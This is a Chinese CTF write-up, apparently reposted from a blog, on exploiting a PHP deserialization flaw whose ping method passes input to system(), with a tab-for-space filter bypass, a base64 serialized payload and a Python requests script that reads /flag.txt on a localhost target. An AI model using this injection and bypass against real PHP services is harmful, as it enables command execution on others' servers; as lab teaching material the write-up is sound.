CTF中PHP反序列化和命令注入的一次简单利用

Posted kevinbruce656

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF中PHP反序列化和命令注入的一次简单利用相关的知识,希望对你有一定的参考价值。

代码来自第六届防灾科技学院网络安全技能大赛,侵删。

目标

获取Linux服务器根目录下的flag

代码

/*home.php*/
class home
    
    private $method;
    private $args;
    function __construct($method, $args) 
        $this->method = $method;
        $this->args = $args;
    

    function __destruct()
        if (in_array($this->method, array("ping"))) 
            call_user_func_array(array($this, $this->method), $this->args);
        
     

    function ping($host)
        system("ping -c 2 $host");
    
    function waf($str)
        $str=str_replace(' ','',$str);
        return $str;
    

    function __wakeup()
        foreach($this->args as $k => $v) 
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        
       

[email protected]$_POST['a'];
@unserialize(base64_decode($a));

分析

该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。

在进行反序列化操作时首先会触发__wakeup()魔术方法,该方法会过滤掉args参数中的空格。

在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。

当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。

ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:

ping -c 2 127.0.0.1|cat /flag.txt
#不唯一

利用

整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:

127.0.0.1|cat /flag.txt

而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。
同时还要注意method必须为ping。

这里得到了构造payload的最终PHP脚本:

class home
    
    private $method;
    private $args; 

    $a = new home("ping",array('127.0.0.1|cat   /flag.txt'));
    $b = serialize($a);
    echo base64_encode($b);

payload

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

发送payload得到flag

import requests
data ="a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flagglzjin_wants_a_girl_friend

以上是关于CTF中PHP反序列化和命令注入的一次简单利用的主要内容,如果未能解决你的问题,请参考以下文章

PHP反序列化漏洞

技术分享从一道CTF题学习PHP反序列化漏洞

今晚拿下PHP反序列化的一系列操作

CTF php反序列化总结

PHP Phar反序列化总结

从一道ctf看php反序列化漏洞的应用场景